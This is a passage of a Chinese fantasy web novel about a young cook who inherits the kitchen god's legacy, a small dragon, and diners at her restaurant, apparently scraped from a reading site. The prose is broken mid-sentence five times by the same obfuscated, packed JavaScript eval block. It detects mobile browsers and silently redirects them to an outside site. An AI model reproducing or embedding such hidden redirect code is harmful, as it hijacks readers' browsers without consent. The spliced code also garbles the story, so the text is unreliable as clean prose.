乞丐缓缓转过头来，是个面目白净的少年，唇红齿白，眼睛明亮。 敖汉辰以为的乞丐，不料却只是衣服、头发凌乱，估计是官道上走着走着，遇到大雨，跑来这灶神庙，才将自己弄成这副模样。 两人上前进入破庙，随着靠近那少年，原先在庙外闻到的异香越发浓郁扑鼻，最终定位在少年身前的火堆里。 敖汉辰一个眼神示意平安上前询问。 平安挂上憨厚的笑脸，上前跟少年搭话：“小哥可是刚入这破庙中休憩？实在是难为情，我主子这一路上还未用饭食，不知是否能出钱向小哥买些吃食，我们带了银钱，只管开价。” 少年出口才惊觉原来是个年岁不大的女孩，女孩声音清脆，热情邀请他们：“不过是些自己从山上打的野鸡，要是不嫌弃我分你们半只，这山野之食，怕是入不了贵人的眼。” 敖汉辰这时才淡淡瞥了少女一眼，虽然女孩热情邀请他们，却讽刺了这入了破庙后目中无人的自己。 着实大胆，雨夜破庙，自己一个女子落单遇到两个壮实男子，不赶紧打发人，反而大胆挑衅。 不过敖汉辰也并未多说什么，自己一几千年的蛟龙，待过了雷劫便可位列仙班，实在是没有跟小女孩计较的心性。 却不料千年后，两人还能相遇并且发出同病相怜的感叹。 少女利索地拾出几根燃了一半的粗柴火，将原地的火踩灭。挖出了一个泥团，因着热气烫手，大大咧咧丢在铺好垫布的地上。 敖汉辰和平安两人面面相觑，一个泥团，这吃什么？可是随着少女将泥团敲开，丰富的香气席卷了两人的鼻腔。 泥团剥去才显露了真容，荷叶鸡，也叫做叫花鸡，倒也应景。 少女开口向敖汉辰借他腰间的匕首。敖汉辰面色几变，最终还是顶着平安诧异的目光，将腰间的匕首摘下丢给她。 匕首锋利，握手处还镌刻了金边，显得大气贵重。 少女将叫花鸡一分为二，递给敖汉辰半只，但是却是平安接过，不知从哪拿出一张油纸。 敖汉辰臭着脸，将自己的匕首拿起，丢到平安的怀里，示意他擦好再给自己。 平安捧着半只香气四溢的叫花鸡，还得空出一指头挂着匕首，叫苦不迭。 敖汉辰见烧鸡到手，没有和少女一同在破庙躲雨的心思，叫上平安转身离开。 “一定要趁热吃啊！”少女的喊声从身后传来，模模糊糊，显然已经美美吃上手里那半只叫花鸡了。 冒着大雨，马车驶离破落的灶神庙。车上的侍女，接过平安手中的叫花鸡，找出一个黑瓷描边大碟，稳妥放入。 还贴心拿小刀切割成容易入口的大小，将大部分叫花鸡都端到敖汉辰面前。 只给平安留下了一只鸡翅，平安一张中年人布满风霜的脸做出委屈的表情实在辣眼。 敖汉辰当作自己没看见平安的表情，只专注于自己面前碟子里的食物。 平安见平日里从不贪食，反而将大部分美食送与自己的主子，都假装视而不见。 更别提铁石心肠，一心只有侍奉主子的石女了，从头到尾没给过自己一个眼神。没有心肠，不能体会美食，更不会体谅自己这个野猪精爱吃的心。 可惜，看来这偶遇的叫花鸡，自己是注定只能尝个两口了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289753|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这鸡肉取自山野中土生土长的野山鸡，不如家养鸡肉质丰腴，但肉质紧实弹牙，丝丝分明。 也不知那女孩从哪里带的调料，竟是咸鲜齐备，滋味特殊。虽不似往常做法那样，往鸡肉里填充香菇丁、猪肉末、虾仁等辅料。 但光是这鸡肉就已经值得平安付出大把银子了，比起吃过的大酒楼名厨所做，毫不逊色。 平安三两口吞下那只鸡翅，舔舔嘴，又把目光投向碟子里的鸡肉，像是看着久别刚重逢的恋人一般眷恋。 敖汉辰硬抗住旁边炽热的目光，将小半只鸡吃完，满意地拿出手帕擦擦嘴。继续闭目养神，吩咐石女：“继续朝安阳道行进，如果无法抓到那条小龙，我们就回月牙山。” 石女先是点头称是，又犹疑开口：“那小龙毕竟是泾河龙王之子，上头还愿意拿出化龙草与您交换，还是早日寻到为好。” “化龙草也不能保证我完好度过雷劫，区区泾河一条小河龙王，能耐我何。” 石女和平安两人对视一眼，不敢打扰敖汉辰，石女化作原身石像，装聋作哑，平安出去继续赶车。 车厢中一片沉寂。 主子为着化龙一事困扰上百年，自化蛟起，无时无刻不想着一跃龙门化身成龙。 早年间对遗留的龙族还有谦卑之心，想着能够提携自己一把。可是多年过去，那些龙族不仅不能提携自己，还借着龙蛟有别的名义对自己指手画脚。 敖汉辰干脆跑到那几只指手画脚最多的小龙那里，狠狠揍了他们一顿，撕破脸，现在与龙族井水不犯河水。 半月前，泾河龙王传信给正在月牙山闭关修炼的敖汉辰，直言自己幼子应龙贪玩出逃不知下落。 龙王需镇守河道，无故不得离开。只得求助能够自由行走世间，跟脚与龙相似的敖汉辰，并给予一株化龙草作为报酬。 可是那小龙躲躲藏藏，溜了敖汉辰一行人半个月，惹得敖汉辰耐心耗尽，也不在意什么化龙草了，只想赶紧回他的月牙山修炼 反正一般人、妖都奈何不了那小龙，天生的铁骨铜皮，连剐个鳞片下来都能震得手疼。 小龙好奇心强，玩够了自会回家，真不知道那泾河龙王急个什么。 18. 随身罐罐 郭婵意识陷入一片柔软、多彩的空间，黄云彩化作幕布，将整个空间渲染的恢宏大气。 冥冥之中，难辨男女的声音从四面八方传来，齐频共振。 “大周初年，蒋氏子……” “大雍二年，张氏子……” “大乾七年，周氏女……” “南梁四年，齐氏子……” 郭婵努力凝神分辨着声音的内容，是自远古到前朝的各任灶神，形形色色的灶神，在百年后的郭婵脑海中一一显现。 “今尔有年，赠尔嘉缘，望成灶神，庇佑众人。” 一条彩绸嗖的一声，从彩云中挤出来，围着郭婵绕了几圈，似乎是疑惑这任灶神就是这么个小姑娘嘛。 郭婵直接伸手揪住彩绸，彩绸尾巴摆摆，最终还是躺平任人摆布。 彩绸上写着上任灶神留下的话。 “尔有灵缘，灶神之成，无所畏惧。” 郭婵皱出八字眉，虽然她识字不多，但是也不能蒙她吧，成为灶神在于无所畏惧，畏惧啥？ 但来不及容她多想，刚才还躺平任她抓揉的彩绸一个仰卧起坐，狠狠点在她额头。 意识消失前最后一个想法，郭婵想的是：为什么彩绸打人这么痛啊？ 躺到在地的郭婵睁开眼，被悬在眼前的龙脸吓到意识防空。应龙看着睁着眼呆呆的少女，对着郭婵的脸挥挥自己的尾巴，眼见郭婵毫无反应，慢慢游动想要降落在郭婵脸上。 结果被突然坐起的郭婵，一头撞了出去，破庙里发出两声惨叫。 郭婵一只手捂着额头，另一只对着应龙指指点点：“你离我这么近干嘛？” 应龙委屈：“我就是想看看你醒了没？” 郭婵觉得自己今天真是流年不利，短短一个时辰，额头受到了三次撞击，还都是因为眼前这条小偷龙。 没好气地说：“你还好意思委屈，我晕了还不都是因为你。”应龙搓爪，嘿嘿一笑，绕着郭婵飞旋，主要是怕郭婵出其不意又要打他。 应龙轻佻的声音忽远忽近：“想必你已经得到了灶神的传承吧，”声音突然激动“你已经不是凡人了，你跳脱三界之外，众生之外，这么大的机缘你不应该感谢我嘛！” 郭婵翻白眼，询问：“我为什么就不是凡人了，得了个灶神传承我就不是原来凡人的我了？” 应龙还想说些什么，却被郭婵打断：“我永远都是郭婵，是那个准备走过大江南北，塞外沙漠，传承郭家的郭婵。” 应龙没了之前的轻佻猥琐，只是淡淡说道：“那是不一样的，你拥有至少上千年的寿命，你所熟知的一切都会在岁月长河里逝去，最后剩下的只有你，哦，或许我还陪在你身边，毕竟我喜欢你做的菜呀。” 郭婵不屑，只有十六岁的她，生活中除了烦恼为什么她爹不将郭家菜谱传给她外，只有美食和华服。 自己一个人跑出来，也是因为和她爹闹了矛盾，她可是她爹唯一的女儿，结果不仅不肯把菜谱传给她，甚至连她偷摸进了后厨被抓到都要大发雷霆。 郭婵立誓，她不学成，成为比她爹，比郭家还厉害的厨师，绝不回家。 她要让看不起她身为女子继承郭家的一众叔伯大跌眼镜。 不过郭婵想想，要是成为了灶神，岂不成了郭家的祖师爷，看起来比几年后华丽回归郭家打败一众师伯顺利接下郭家传承更爽。 可是那个梦境，对于成为灶神什么也没说啊，除了一句无所畏惧，郭婵可谓是脑袋空空。 眼前这小龙据他所言也是龙族出身，见识总比她这凡人多，她还得捧着这小龙从他嘴里套出些秘闻来。不然光凭她，当上灶神得猴年马月啊。 郭婵热情招待起应龙，拿出包裹里自己自制的蜜饯递上去，还关切应龙被撞得疼不疼。 应龙比郭婵虚长千岁，看一眼就明白郭婵打的什么鬼主意。一边享受着甜蜜蜜的蜜饯，美滋滋地眯起眼，一边打着太极回应郭婵的问东问西。 蜜饯吃到底，应龙看着郭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289755|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婵明显因为在自己身上毫无所获还搭上一包蜜饯而有所怒意。 眼珠一转，记上心来，对着那两个早被郭婵忽略的大瓦罐，努努嘴，忽悠起郭婵来：“这两罐，名为善罐和恶罐，是灶神的法器。你呀，要是想成为灶神，必得随身带着这两罐，应该是你大展厨艺征服众人，善念恶意装满这两罐即可。” 郭婵指指那两个有她腰高的大瓦罐，指指自己，崩溃道：“难不成，我去哪都得背着这两罐嘛！” 应龙心里暗笑，仙凡有别，他倒是知道有能将这两罐收入囊中随身携带的秘法，但是吧，郭婵又不知道，不就得自己背着上路了嘛。 郭婵还在打量那两个瓦罐，想着要怎么搬时，旁边传来一阵低笑声，抬眼一瞧，是那应龙两只小短手捂着在呵呵傻笑，憋的他脖子那肿了一截。 “你不会故意坑我吧？”阴恻恻的女声在应龙耳边响起，应龙一个激灵掉落，趴在地上，讨好郭婵：“小龙我哪里是这样的龙啊。” 郭婵抱胸，自上而下看着应龙，挑眉，一脸不相信应龙这鬼头。 应龙一边抖，一边嘴硬：“小龙我不曾骗你呀，我哪敢骗灶神呢，在天庭时我就是为灶神拉车都不配啊。” 哪个灶神不要命了，要他这筷子长的小龙拉车，也不怕被他那护短的爹娘找上门，他还是个宝宝呢，上千年也长不大的宝宝。 天色已晚，郭婵没了心思跟应龙纠缠，只嘱咐一句应龙守夜，郭婵自己收拾包袱去休息了。 应龙在身后大喊，说她欺负自己这条小龙，“堂堂灶神，不要脸至此！” 郭婵打着哈欠美美躺在干草上，她还没成灶神呢，哪来欺负一说。 深夜的灶神庙中，身形高大长须飘飘，慈眉上目的灶神像，微低垂着眉眼，在火光映照下，散发出陶瓷的含蓄光华，熠熠生辉。 而灶神像脚边，一个少女躺在干草上陷入甜美梦乡，背对着的小龙，嚼着另一包少女掏出的蜜饯，一边时不时甩动着长尾拨动木柴。 19. 奇葩网友 黄萱和杨可欣二人最近游玩了这座小城的各处景点。安阳虽然小，但也是拥有千年历史的老城，人文景点，风景名胜完全不缺，光是那特意保留的老建筑，青砖白瓦马头墙，就让黄萱沉浸在游乐之中了。 但是到了饭点，两人哪怕隔着大半个城市也要赶回幸福街道的小店中。今天她俩去游玩的地点在郊区，回来的时候小店已经过了饭点，虽然还有人陆陆续续来，但高峰期连个座都空不出来。 今天小店的午餐特供是油泼鸡和狮子头，杨可欣和黄萱两人拿着菜单一对视，心有灵犀地笑了。 两人选了不一样的菜肴，一起分享，又能减轻胃的负担，又能尽可能多的品尝到小店的美食，毕竟小店当天供应什么全看老板兼厨师郭婵的心情呢。 先上来的是一个炖盅，杨可欣掀开盖子，里面澄清的汤汁窝着一个有成年女性拳头发小的肉丸。 杨可欣用筷子夹起一块，外层酥脆，内里柔软，可谓是“松而不散，入口即化”。用料是早晨猪肉摊上鲜斩的猪肉，特意选择了猪后腿肥瘦各半的部分。 唤上壮劳力叶九仟，细细斩成小条，再大刀拓斧地剁成石榴米大小，因为需要先油炸至七成熟，特意加入颗粒状的荸荠碎，口感在猪肉的咸香滋润中平添了一分清爽。 两者相辅相成，最后成了杨可欣爱不释嘴的美味，杨可欣还不忘招呼摆弄着手机的黄萱尝尝。 黄萱丢下手机，有些无语的生气。杨可欣疑惑：“怎么了萱萱，你平常每到吃饭的时候都最开心了，今天怎么还有点生气的样子？” 黄萱倾诉欲达到极点。刚才病友群里大家都在聊天，她就谈到最近自己出去旅游了一趟，吃下不少东西了。 有个病友问她去哪里旅游了，效果这么好，可以给大家推荐一下。黄萱还没说话呢，一个网名叫蔡蔡的嘴臭网友就冒出来。 【蔡蔡：你俩不会是商量好了打配合骗钱吧？我有钱一年半年都在外面旅游，也没见对治疗有什么效果啊。】 【蔡蔡：哦，我呀还去的都是国外，什么新马泰，我都去腻了，不是米其林餐厅我连一眼都懒得看。】 【顺其自然：人家啥也没说，你倒是自己跳出来了，有钱了不起啊，不爱看我们聊天别看。】 【蔡蔡：我是好心，这群里都是病人和家属，谁知道会不会有人病急乱投医被人骗钱哦，@萱草花，我可不是在针对你呢】 【萱草花：我也只是自己觉得有用，想要分享给大家一家小店，很好吃，店主人也很好，这边环境也不错适合病人修养的。】 【蔡蔡：什么餐厅，米其林几级，主厨拿过什么国际奖项吗？不会是那种巷子里的菜馆吧，这种我家狗都不吃。】 黄萱也就是网名萱草花，好悬没给自己气倒。本来自己好心提个建议，想着郭老板的小店物廉价美，对自己的治疗很有效果。可以分享给深受困扰的大家，要是真的对某几个人有帮助也算功德一件。 结果不知道哪里冒出来一个网友，嘴里一股比别人高高在上的味，甚至还羞辱自己和郭老板。 黄萱也没有了分享的兴趣，跟杨可欣吐槽完，两人一起瓜分了那硕大的狮子头，连汤汁都浇饭里，一滴不剩。 等了许久的油淋鸡终于端上桌了。外表金黄，甚至能听到热油与鸡皮相碰发出的“酥酥”声。 旁边还有一小碟花椒盐，蘸花椒盐吃一口，皮脆肉嫩，带着些许椒麻味流入口腔，慰藉了食客的心灵和味蕾。 黄萱先前吃狮子头已经吃了个半饱，油淋鸡只吃了三分之一，剩下的留给杨可欣解决，她一向喜欢这种外表酥脆内里软糯的口感。 黄萱打开手机准备刷刷短视频看看有没有附近的旅游攻略可以做，准备下午休息一会后，继续出去游玩。 才看到三十分钟前，有人通过病友群向她发起聊天，这个人她很陌生，并且从未在病友群发言过。 【贾木子：您好，萱草花，我很想知道你所说的小店是在哪里，可以提供地址吗？我可以付费。】 十分钟后， 【贾木子：您在吗？价钱不是问题，我只是想知道这家店的地址。】 黄萱回复了网友的消息，附上了郭家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290737|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小店的位置，并没有向贾木子索要报酬。她通过郭家的小店，得到了治疗厌食症的希望。不知道别人能不能有这份机遇，但她不想借此谋利，这是对一直照顾她的郭老板的侮辱。 饭后，叶九仟端过来两个浅碟，并明言是老板送的。杨可欣和黄萱很高兴地到了谢，在这里吃饭几天，时不时郭婵会送上一份额外的加餐，虽然每次临走付账时黄萱会额外多付钱，对于郭婵的额外照顾，黄萱和杨可欣都是很感激。 今天的额外加餐是雪花蛋和桂花蛋，其实只用了两个鸡蛋，但是做出了不一样的效果。 雪花蛋是用温油慢炒鸡蛋清，而与之相反的桂花蛋则是用温油慢炒鸡蛋黄，两者表面还有些肉褐色的粉末。 品尝起来，雪花蛋口感更加柔软，入口即化，而桂花蛋则是有种特殊的油润感，两者都没有加入任何调味料，全靠出锅后撒上的火腿碎末提味，鲜美异常。 杨可欣和黄萱两人正在美美品尝，隔了半个华国之远的蒋家，齐明月正在和自己的丈夫争吵。 丈夫蒋其明不耐烦地看着收拾行李的齐明月，对她突然的想法感到荒唐。他情绪激动地挥舞着手中的文件，大喊：“我真搞不懂你在想什么，小齐的病我找了最好的医生，用着最好的药，可是你居然要带小齐飞到那样一个小地方找什么厨师，你真是荒唐。” 不论丈夫说什么，都只是默默收拾的齐明月，情绪崩溃，她已经承受了太多的压力。 她涕泪横流，声音嘶哑：“你说我荒唐？你到底有没有良心，小齐的病是为什么来的，你不知道吗？还不是你和你爸啊，一个天天拿自己孙子和别人的比，你天天拿自己儿子和大哥的儿子比。” “小齐还只是个孩子，他一天要上八小时的课，还要至少两个课外辅导班。他得病都是因为你们，因为你，蒋其明！” “我受够你们了，我什么都不想要，我只想要我的孩子好好的，有一个健康的身体，能够快乐的生活，我有什么错，小齐有什么错！” 齐明月提着小行李箱，撞开蒋其明离开，留下错愕的蒋其明留在原地。 20. 神秘男子苦守门外为哪般 深夜的幸福街道，大部分人已经陷入了睡眠。营业了一天的郭家小店准备收拾打烊，郭婵在后厨准备他们三人的晚饭。 叶九仟正麻利地将多余的碗筷重新放进消毒柜中，而隐身的应龙则漂浮在叶九仟耳边嘀嘀咕咕。 “快，三点钟方向，站了一个神秘的男人，身形高大，穿着黑色风衣，根据我多年混迹娱乐圈的经验，啊啊啊不好，是间谍！” 应龙啊啊啊叫着，一边在空中乱飞。忙中抽空瞟了一眼所谓间谍的叶九仟，淡定擦桌。 应龙真的没可能得老年痴呆吗，还是看谍战片看多了脑子已经被谍中谍糊住了？ 叶九仟一个转身避开快撞到他的应龙，目视着应龙一头撞在了橱窗上，撞得头顶的吊灯都晃了晃。 应龙呜呜呜地去找里屋的郭婵，希望得到点安慰，结果不几秒，就被团成一团丢了出来。 郭婵端着一盆晚餐营业特意留下的红烧肉和镇江肴蹄的拼盘出来，用的n多年前买的搪瓷脸盆，吃着吃着会露出盆子底部两个只穿红孩儿同款红肚/兜的童男童女。 红烧肉酱红油亮，汤汁粘稠鲜美，勾得叶九仟口水直流；应龙则盯上了另一半的镇江肴蹄，肴蹄比起普通猪蹄常用的卤煮法略微特殊，采用的是火腿的盐腌法。 将清洗干净的新鲜猪蹄，烧火去毛，剁成大块放入开口瓦罐中，加盐，一层盐一层猪蹄，用大石块压牢，待硝化取出，肥瘦肉在重力的作用下肉质变得紧实。 煮熟后，晾晾水汽，切成厚片堆叠在一起，瘦肉颜色殷红，肥肉白如羊脂玉，入口不腻，加之镇江老醋和一碟姜丝拌之，吃得“翘上天咯”。 制作镇江肴蹄的步骤繁琐，时间较普通菜品制作更长些。这还是郭婵第一次将镇江肴蹄端上郭家小厨的饭桌，因为应龙已经眼巴巴守了好些天了，天天缠着盛放镇江肴蹄的瓦罐，cos瓦罐版玄武。 这等到郭婵觉得差不多可以了，立马就取出给应龙端上，满足他的小心思。 郭婵放置好饭菜，叫上叶九仟去把外面已经站了好几个小时的陌生男人请进来。 实在是想到一个陌生人一动不动看着他们三人大快朵颐，觉得哪里不对劲。 门外站着的蒋其明看到，一个非常时尚挑染了青红双色呆毛的俊秀帅哥，奔自己而来，他原本以为是赶他走的，没想到帅哥开口第一句，居然是“进来吧，跟我们一起吃，不要你钱。” 没错，郭婵三人以为门外的男子是身上临时没钱了才站在门外站了几个小时。 但其实蒋其明和老婆齐明月吵完架后，赶在齐明月要照顾儿子蒋家齐前，乘坐红眼航班提前她们抵达了安阳这座小城，还站在了齐明月所说小店的门前，一站就是几个小时。 他原本想着，老婆不知道从哪里找来的偏僻小店，能有什么好，赶在老婆和儿子之前不过是为了亲眼证实自己的猜想。 一个隐藏在老街道里的小饭馆，就算附近的居民人人称赞，也不过就是家常菜的水平，远远比不上他之前飞全国各地品尝的米其林餐厅，甚至连他家重金聘请的厨师都比不上。 齐明月为了这样一家小店和自己争吵真是鬼迷了心窍。蒋其明恨恨地想，穿着一夜未换的西服大衣站在郭家小馆前，一站就是几小时。 他可没有挡着人家做生意的想法，但这么一个大活人站在店前，还直勾勾地看着里面的食客大快朵颐，是个正常人都觉得奇怪吧。 没看见以往还喜欢留在郭家小馆边吃饭边闲聊的闲散派，被盯得受不了，不是直接打包带回去吃，就是加快速度吃完立马溜人急得像后面有人在追一样。 郭婵忙得没空搭理站在门外的蒋其明，叶九仟纯粹缺了根筋意识不到这个男人有多奇怪。 初来乍到的小帮厨李立意识到了，但是谨遵叔爷的教诲，不该问的别问，不该说的别说，学就完了。 为了保守郭婵的秘密，新来的李立每天早上八点来上班，下午五点就回李新民家里休息。 郭婵特意给李立拿了一海碗镇江肴蹄带回去吃，李立闻着诱人的味道，抽动着鼻子，真诚道谢后跑回家和李新民分享。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329742|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李新民特意选的小子，家里只剩下个奶奶，按照血缘关系，早就是出了五服的远亲，胜在这小子心思单纯，在厨艺上还有点天赋。 对于提携自己的叔爷李新民，李立感激不尽，天天从郭婵那里得到的美食，都带回家孝敬给他。 李新民最近可在下象棋的老爷们圈里拉满了仇恨值，有个惦记着的侄子不说，郭家小馆还没上的新鲜美食，这家伙都能提前吃到，并且在众人面前各种描述，直把人说得口水横流，恨不得摇着郭婵的肩膀，大喊“快给我上同款！”，可谓是爷叔圈里的时尚icon了。 郭婵直到卸下了所有事情，终于能好好以虔诚的心态享受自己所做的美食时，才想起在门外等候了许久的男人。 二人一龙常在深山老林的混迹，对于蒋其明身上的奢牌西服，毫无眼力见。 只觉得此男站在门外吹风几小时，明明被馋到面目狰狞（蒋其明：是被初秋的晚风吹得！），苦于裤袋里没有一分钱，却安分守己的只是站在外面选择不打扰。 蒋其明抱着挑刺的态度进入郭家小馆，他高昂着头，居高临下看着眼前年轻的小姑娘，郭家小馆的老板兼厨娘，他倒要看看这家小店里都藏着什么神。 郭婵并没有在意他不同寻常的态度，自顾自揭开盖子，红烧肉那浓郁的香气扑鼻而来。 红烧肉有个雅名，和大诗人苏轼有关，也被称为东坡肉。做这红烧肉功夫全在火候上，用细棉线绑成四四方方一大块的五花肉，肥瘦相间，调好秘制酱汁后，先用猛火攻。 汤汁滚开后，依次放入各式香料，接着用微火慢炖，汤汁略起小泡即可。古法中炖这东坡肉，忌加水，不得已时才可以用浓茶烈酒代之。 但考虑到现今与往时不同，一点水不加是不可能的，却同样用到大量黄酒。 所以这道菜上桌前，郭婵提前写小黑板说明，含有酒精，未成年人和将要开车的司机不提供。 开车不喝酒，喝酒不开车，守法从郭小婵做起。苦得一些司机拍着大腿根，含恨选择了其它的菜式。 21. 儿子老子 话扯远了，当下，直面红烧肉冲击的蒋其明，只觉得香气溢散至整个空间，像一个安全罩一样将他笼在美食的世界里。 沸腾的人声和冰冷的建筑隔绝了大部分的香味，只留下热闹和美味的初步形象。 在这个直面冲击的帧数里，蒋其明才真真理解了小店里络绎不绝的人们，家人们，这么好吃，难怪大家都吃。 蒋其明内流满面，非常虔诚地从叶九仟手里接过碗筷，不顾郭婵的奇异目光。 毕竟他的样子像是捧着贵重的古董瓷器，而不是郭婵从地摊上买的九块九三件。 郭婵客气一句：“来，快吃，想吃多少吃多少！”换来蒋其明感激的目光。 蒋其明下筷如有神，精准狠，是他商业上打压对手的秘诀，也是古朴小饭桌上打击叶九仟的强大武器。 叶九仟盯着蒋其明移动得越来越来的手，只觉得吾命休矣。好不容易能够吃上一大盆红烧肉，结果遇上个蒋其明，可恶啊，至少三分之一的红烧肉被他抢走了。 叶九仟死鱼眼看向郭婵，郭婵却借着袖子的遮掩，在给应龙喂他垂涎许久的镇江肴蹄，一点也没注意到小鸟的小情绪。 蒋其明吃得直打饱嗝，才终于停手。看着杯盘狼藉，空无一物的饭桌，商战之虎的大总裁，悄悄红了脸。 一不小心吃太多，暴露自己是个吃货的事实有损总裁形象肿么办？ 后知后觉的蒋其明，终于发现了来自小鸟的眼波攻击。 相比情人眼里出西施，更恐怖的是食客眼里出美食。 原本还挑剔跑堂小哥挑染着两撮青色和红色呆毛，时尚到风湿，颇有精神小哥余味，从而印证这个偏僻小店品质低下的蒋其明。 只觉得眼前的青年，眉目秀丽，两束挑染更是显出青年不俗的品味。 蒋其明想着按照店铺定价加价付这顿晚饭钱，可既怕郭婵觉得请自己一同吃饭，自己付钱侮辱了她高贵的厨师品格，又怕自己钱付太少，同样有辱其厨师手艺。 阅过千家米其林餐厅的蒋其明，叹服于一盆红烧肉之下，只觉自己人生已经到达了巅峰。 蒋其明左右为难，如坐针毡之际，郭婵和叶九仟已经收拾好桌面起身离开。 特意留下店门给蒋其明外出，就算深夜大开店门，也不用怕有小偷光顾这家小店。 毕竟敢来的小偷，都被喜欢扮鬼吓人的鸟给吓唬走了。三足金乌又不用睡觉，要不是为了迎合人类的作息，就是二十四小时通宵达旦，对于郭婵和叶九仟来说也是小菜一碟。 曾经有手欠的小偷以为捡到大便宜偷偷摸入店中，被叶九仟的灵识感知到后，吓到屁滚尿流而出，嘴中还不断囔囔着“有鬼，有鬼啊～”。 蒋其明纠结要不要付钱中，回神发现老板二人已经优雅离场，只能起身离开。 发消息给秘书：“夫人他们已经安顿好了吗？” 万能秘书回复：“老板，夫人他们今天下午六点抵达了安阳，现在已经在安阳的酒店安顿下来，地址是东区高新路834号，房号1302。” 蒋其明拿到想要的信息，收好手机准备前往酒店，他早就安排好秘书言明等夫人齐明月抵达安阳在酒店安顿好后帮他在齐明月旁边订好房间。 赶到酒店后，时间已经接近深夜，蒋其明徘徊在齐明月房间门口，犹豫是否应该敲门进去找她们母子二人。 主要是怕齐明月还在气头上，看到他出现在安阳会把他骂回海市。 “滴！”门突然开了，早在订酒店时发现蒋其明秘书订了两晚酒店的齐明月，在发现自己老公瞒着自己偷偷摸摸来安阳时，其实没有那么生气。 虽然她生气于老公平日里贬低打压儿子，但在大吵一架后，蒋其明还能追来安阳，她心里已经有些安慰了，至少蒋其明这个人还没错的离谱，自大到唯我独尊，像她那个公公一样。 门内的齐明月穿着酒店的浴袍，目视着门外风尘仆仆的男人。 很少见蒋其明露出这样疲惫又兴奋的神色，齐明月没有预料到的是，蒋其明在她离开蒋家的第一时间，就乘坐红眼航班来了安阳。 远远早于齐明月的到达，并且抵达之后直奔郭家小馆，待到小饭馆闭店以后，才来找的自己。 齐明月将自己老公放进房间，儿子蒋家齐人小，早早就睡了，保姆带着睡在另一间套房。 齐明月来的匆忙，除了带平常照顾孩子的保姆许姐外，没有往常的人多排场，就连订票订酒店都是找的蒋其明生活秘书。 许姐得首先照顾孩子，整理行李就得齐明月自己来做。 行李箱中还剩半箱衣物还没归置，她打算要是那家小饭馆真的像网友萱草花宣传的一样味美，至少会带儿子在这待十天，衣物带的挺多。 齐明月蹲在地上，取出一袋袋仔细叠好放进真空袋里的衣物。 按照可穿的温度分好，等着按区域摆放进衣柜。 蒋其明坐在一侧床上，温柔地注视着齐明月的一举一动。 结婚近十年的老夫老妻，平日里哪怕不交流，但是看着对方也觉得心满意足。 两人是自发恋爱，齐明月的家境只能算是普通人，因此在蒋家人面前，总是觉得自卑，自己能过上优渥的物质生活，全靠的是蒋其明和富豪的蒋家。 公公蒋成名下有两个婚生子，蒋其明和他大哥，两人是同父异母，平日里关系不算亲近，在工作上属于竞争关系。 蒋其明大哥家的二儿子和蒋家齐只差了半年，大人们总是喜欢将这两个小孩放在一起比较，不是这个孩子已经开始上奥数课落有成效了，就是另个孩子钢琴有天赋顺利晋级。 蒋家齐是个有别于自己父母的腼腆孩子，喜欢看书弹钢琴，多数时间都沉浸在自己的世界里。 爷爷爸爸总是喜欢说他不大气，不像蒋家子孙。 小小的蒋家齐，晃着自己的萝卜短腿，坐在后花园的秋千上，疑惑为什么自己喜欢一个人自己待着，遇到世家的伯伯叔叔总是腼腆的躲在爸爸身后怯生生地问好。 爷爷总是为了这件事说他，夸大伯家的弟弟胆子大，以后一定能带领蒋家做大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14342050|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 